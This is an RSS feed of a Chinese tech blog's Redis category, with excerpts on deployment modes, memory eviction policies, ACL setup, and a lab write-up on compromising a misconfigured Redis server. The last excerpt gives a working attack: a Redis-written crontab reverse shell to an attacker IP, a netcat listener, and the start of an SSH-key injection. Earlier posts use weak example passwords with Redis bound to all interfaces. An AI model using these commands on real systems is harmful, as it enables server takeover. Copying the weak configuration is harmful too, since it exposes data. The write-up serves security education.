Genius Kim's Blog - Redis
type: channel
link: https://blog.if010.com/category/redis/
items: Redis的四种部署方案
items: Redis 缓存满了怎么办？
items: Redis的安装与新特性ACL安全策略
items: Redis服务入侵记

Redis的四种部署方案
type: item
date: 2023-11-01T12:40:00+00:00
description: 这篇文章介绍Reids最为常见的四种部署模式，其实Reids和数据库的集群模式差不多，可以分为 Redis单机模式部署、Redis主从模式部署、Redis哨兵模式部署、Cluster集群模式部署，其他的部署方式基本都是围绕以下几种方式在进行调整到适应的生产环境，最常见的还是集群模式的部署接下来我们来主要分析和学习一下的部署方式和利弊。约定信息：系统：Linux CentOS 7.9Redis版本：Redis 7.2.2方案一：单机模式部署编译部署# 设置内核参数 [root@redis ~]# echo "vm.overcommit_memory=1" >> /etc/sysctl.conf [root@redis ~]# echo "net.core.somaxconn=511" >> /etc/sysctl.conf [root@redis ~]# sysctl # 查看生效情况 # 下载二进制包并编译 [root@redis ~]# wget http://download.redis.io/releases/redis-7.2.2.tar.gz [root@redis ~]# tar zxf redis-7.2.2.tar.gz -C /usr/local/ [root@redis ~]# cd /usr/local/redis-7.2.2/ [root@redis redis-7.2.2]# make # 编辑redis.conf配置文件 [root@redis redis-7.2.2]# vim redis.conf # 绑定主机iP bind 0.0.0.0 # 设置端口号 port 6379 # 启用后台运行 daemonize yes # 设置redis密码 requirepass 123123 # 启动并查看监听和进程 [root@redis ~]# /usr/local/redis-7.2.2/src/redis-server /usr/local/redis-7.2.2/redis.conf [root@redis ~]# ps -ef | grep redis root 878 1 0 23:24 ? 00:00:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid -H redis eth0 root 12429 1 0 23:42 ? 00:00:00 /usr/local/redis-7.2.2/src/redis-server 0.0.0.0:6379 root 12505 12289 0 23:43 pts/1 00:00:00 grep --color=auto redis [root@redis ~]# netstat -tnlp | grep redis tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 12429/redis-server # 停止 [root@redis ~]# ./redis-cli -p 6379 -a 123123 shutdown # 客户端连接测试测试 [root@redis ~]# /usr/local/redis-7.2.2/src/redis-cli 127.0.0.1:6379> auth 123123 OK 127.0.0.1:6379> set flag if010.com OK 127.0.0.1:6379> get flag "if010.com" 127.0.0.1:6379>使用systemctl进行管理[root@redis ~]# cp ../utils/redis_init_script /etc/init.d/redis #不同版本可能位置不同 [root@redis ~]# vim /etc/init.d/redis Port : 6379 Config file : /usr/local/redis/conf/redis.conf Log file : /usr/local/redis/log/redis.log Data dir : /usr/local/redis/data Executable : /usr/local/redis/bin/redis-server /usr/local/redis/conf/redis.conf Cli Executable : /usr/local/redis/bin/redis-cli # redis Start up the redis server daemon # # chkconfig: 2345 55 25 添加…

Redis 缓存满了怎么办？
type: item
date: 2023-08-21T05:29:00+00:00
description: 引言Redis 缓存使用内存来保存数据，随着需要缓存的数据量越来越大，有限的缓存空间不可避免地会被写满。此时，应该怎么办？本篇文章接下来就来聊聊缓存满了之后的数据淘汰机制。值得注意的是，在 Redis 中 过期策略 和 内存淘汰策略 是两个完全不同的概念。Redis 过期策略指的是 Redis 使用哪种策略，来删除已经过期的键值对；而内存淘汰机制指的是当 Redis 运行内存已经超过设置的最大内存之后，将采用什么策略来删除符合条件的键值对，以此来保障 Redis 高效的运行。Redis 最大运行内存只有在 Redis 的运行内存达到了某个阀值，才会触发内存淘汰机制，这个阀值就是我们设置的最大运行内存，此值在 Redis 的配置文件中可以找到，配置项为 maxmemory。内存淘汰执行流程，如下图所示：查询最大运行内存我们可以使用命令 config get maxmemory 来查看设置的最大运行内存，命令如下：127.0.0.1:6379> config get maxmemory 1) "maxmemory" 2) "0"我们发现此值竟然是 0，这是 64 位操作系统默认的值，当 maxmemory 为 0 时，表示没有内存大小限制。注意：32 位操作系统，默认的最大内存值是 3GB。内存淘汰策略查看 Redis 内存淘汰策略我们可以使用 config get maxmemory-policy 命令，来查看当前 Redis 的内存淘汰策略，命令如下：127.0.0.1:6379> config get maxmemory-policy 1) "maxmemory-policy" 2) "noeviction"可以看出此 Redis 使用的是 noeviction 类型的内存淘汰机制，它表示当运行内存超过最大设置内存时，不淘汰任何数据，但新增操作会报错。内存淘汰策略分类早期版本的 Redis 有以下 6 种淘汰策略：noeviction：不淘汰任何数据，当内存不足时，新增操作会报错，Redis 默认内存淘汰策略；allkeys-lru：淘汰整个键值中最久未使用的键值；allkeys-random：随机淘汰任意键值;volatile-lru：淘汰所有设置了过期时间的键值中最久未使用的键值；volatile-random：随机淘汰设置了过期时间的任意键值；volatile-ttl：优先淘汰更早过期的键值。在 Redis 4.0 版本中又新增了 2 种淘汰策略：volatile-lfu：淘汰所有设置了过期时间的键值中，最少使用的键值；allkeys-lfu：淘汰整个键值中最少使用的键值。其中 allkeys-xxx 表示从所有的键值中淘汰数据，而 volatile-xxx 表示从设置了过期键的键值中淘汰数据。修改 Redis 内存淘汰策略设置内存淘汰策略有两种方法，这两种方法各有利弊，需要使用者自己去权衡。方式一：通过“config set maxmemory-policy 策略”命令设置。它的优点是设置之后立即生效，不需要重启 Redis 服务，缺点是重启 Redis 之后，设置就会失效。方式二：通过修改 Redis 配置文件修改，设置“maxmemory-policy 策略”，它的优点是重启 Redis 服务后配置不会丢失，缺点是必须重启 Redis 服务，设置才能生效。内存淘汰算法从内存淘汰策略分类上，我们可以得知，除了随机删除和不删除之外，主要有两种淘汰算法：LRU 算法 和 LFU 算法。LRU 算法LRU 全称是 Least Recently Used 译为最近最少使用，是一种常用的页面置换算法，选择最近最久未使用的页面予以淘汰。1. LRU 算法实现LRU 算法需要基于链表结构，链表中的元素按照操作顺序从前往后排列，最新操作的键会被移动到表头，当需要内存淘汰时，只需要删除链表尾部的元素即可。2. 近 LRU 算法Redis 使用的是一种近似 LRU 算法，目的是为了更好的节约内存，它的实现方式是给现有的数据结构添加一个额外的字段，用于记录此键值的最后一次访问时间，Redis 内存淘汰时，会使用随机采样的方式来淘汰数据，它是随机取 5 个值（此值可配置），然后淘汰最久没有使用的那个。3. LRU 算法缺点LRU 算法有一个缺点，比如说很久没有使用的一个键值，如果最近被访问了一次，那么它就不会被淘汰，即使它是使用次数最少的缓存，那它也不会被淘汰，因此在 Redis 4.0 之后引入了 LFU 算法，下面我们一起来看。LFU 算法LFU 全称是 Least Frequently Used 翻译为最不常用的，最不常用的算法是根据总访问次数来淘汰数据的，它的核心思想是“如果数据过去被访问多次，那么将来被访问的频率也更高”。LFU…

Redis的安装与新特性ACL安全策略
type: item
date: 2022-10-13T06:55:00+00:00
description: Yum安装Redis直接使用yum install redis命令安装的Redis可能不是最新版本，如果需要安装新版本则需要安装Remi的软件源，命令如下：yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm 安装并启动#安装 yum --enablerepo=remi install redis #设置开机自启 systemctl enable redis #启动服务 systemctl start redis 查看服务状态 systemctl status redis 查看Redis版本 redis-cli --version 配置远程连接vim /etc/redis.conf bind 0.0.0.0 ACL安全策略在 Redis6 之前的版本，我们只能使用 requirepass 参数给 default 用户配置登录密码，同一个 redis 集群的所有开发都共享 default 用户，难免会出现误操作把别人的 key 删掉或者数据泄露的情况，因此 Redis6 版本推出了ACL（Access Controller List）访问控制权限的功能，基于此功能，我们可以设置多个用户，并且给每个用户单独设置命令权限和数据权限。为了保证向下兼容，Redis6 保留了 default 用户和使用 requirepass 的方式给 default 用户设置密码，默认情况下 default 用户拥有 Redis 最大权限，我们使用 redis-cli 连接时如果没有指定用户名，用户也是默认 default。配置 ACL 的方式有两种，一种是在 config 文件中直接配置，另一种是在外部 aclfile 中配置。配置的命令是一样的，但是两种方式只能选择其中一种，我们之前使用 requirepass 给 default 用户设置密码 默认就是使用 config 的方式，执行 config rewrite 重写配置后会自动在 config 文件最下面新增一行记录配置 default 的密码和权限redis密码设置在 Redis 6.0 之前，Redis 只有一个 default 用户也是 Redis 中的超级管理员用户，如果要将其设置密码，需要修改 Redis 配置文件，具体修改如下requirepass 123456 修改之后，再次进入 Redis 时，发现已经没有权限操作了。[root@localhost ~]# redis-cli --raw 127.0.0.1:6379> set a b NOAUTH Authentication required 这个时候我们需要使用密码的方式进入[root@openstack ~]# redis-cli 127.0.0.1:6379> auth 123456 OK 127.0.0.1:6379> set a b OK 或者 [root@openstack ~]# redis-cli -a 123456 --raw Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 127.0.0.1:6379> set a b OK 我们可以直接在 config 配置文件中使用上面 default 用户 ACL 这行 DSL 命令设置用户权限，或者我们也可以配置外部 aclfile 配置权限。配置 aclfile 需要先将 config 中配置的 DSL 注释或删除，因为 Redis 不允许两种ACL 管理方式同时使用，否则在启动 redis 的时候会报下面的错误Configuring Redis with users defined in redis.conf and at the same setting an ACL file path is invalid. This setup is very likely to lead to configuration errors and security holes, please define either an ACL file or declare users directly in your redis.conf, but not both外部ACLFILE模式注释 redis.conf 中所有已授权的 ACL 命令，如：# user default on #8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 ~* +@all 在 con…

Redis服务入侵记
type: item
date: 2022-07-18T15:34:00+00:00
description: 0x00 简要说明百度百科：Redis（Remote Dictionary Server），即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。Redis因配置不当可导致攻击者直接获取到服务器的权限。利用条件：redis以root身份运行，未授权访问，弱口令或者口令泄露等环境准备：测试环境IPKali192.168.31.56靶机（CentOS 7）192.168.31.540x01 CentOS 7安装Redis# 安装gcc [root@localhost ~]# yum install -y gcc # 下载解压redis安装包 [root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz [root@localhost ~]# tar xvf redis-5.0.0.tar.gz # 编译并执行安装，指定安装目录为/usr/local/redis [root@localhost ~]# cd redis-5.0.0/ [root@localhost redis-5.0.0]# make && make install PREFIX=/usr/local/redis # 启动redis服务并保持后台运行 [root@localhost redis-5.0.0]# cd /usr/local/redis/bin/ [root@localhost bin]# ./redis-server & # 关闭保护模式 [root@localhost bin]# ./redis-cli 127.0.0.1:6379> config set protected-mode no 0x02 通过计划任务反弹shell利用条件：redis以root身份运行,未授权访问或授权口令已知在kali中通过redis-cli -h 192.168.31.54 -p 6379连接到redis，输入以下指令利用crontab反弹shell# cron表达式格式：{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令 # 每分钟执行一次echo "haha"：* * * * * echo "haha" 192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n" # 设置目录为/var/spool/cron/ 192.168.31.54:6379> config set dir /var/spool/cron/ # 设置文件名为root 192.168.31.54:6379> config set dbfilename root # 保存快照到本地 192.168.31.54:6379> save kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听，过一会儿就能接收到反弹回来的shell：由于redis的压缩储存机制，在某些情况下会因为反弹shell的指令被压缩，从而导致反弹shell失败：192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n" 192.168.31.54:6379> save [root@localhost ~]# cat /var/spool/cron/root * * * * * bash -i &> /dev/tcp/192.168.31.54@/4 0>&1 192.168.31.54:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.31.56/4444 0>&1\n" 192.168.31.54:6379> save [root@localhost ~]# cat /var/spool/cron/root * * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1 当运行redis的用户为普通用户时，会无法出现切换目录失败的情况：config set dir /var/spool/cron (error) ERR Changing directory: Permission denied 0x03 通过写入SSH公钥远程连接利用条件：redis以root身份运行，未授权访问或授权口令已知，服务器开放SSH服务且允许密钥登录在kali中使用ssh-keygen -t rsa…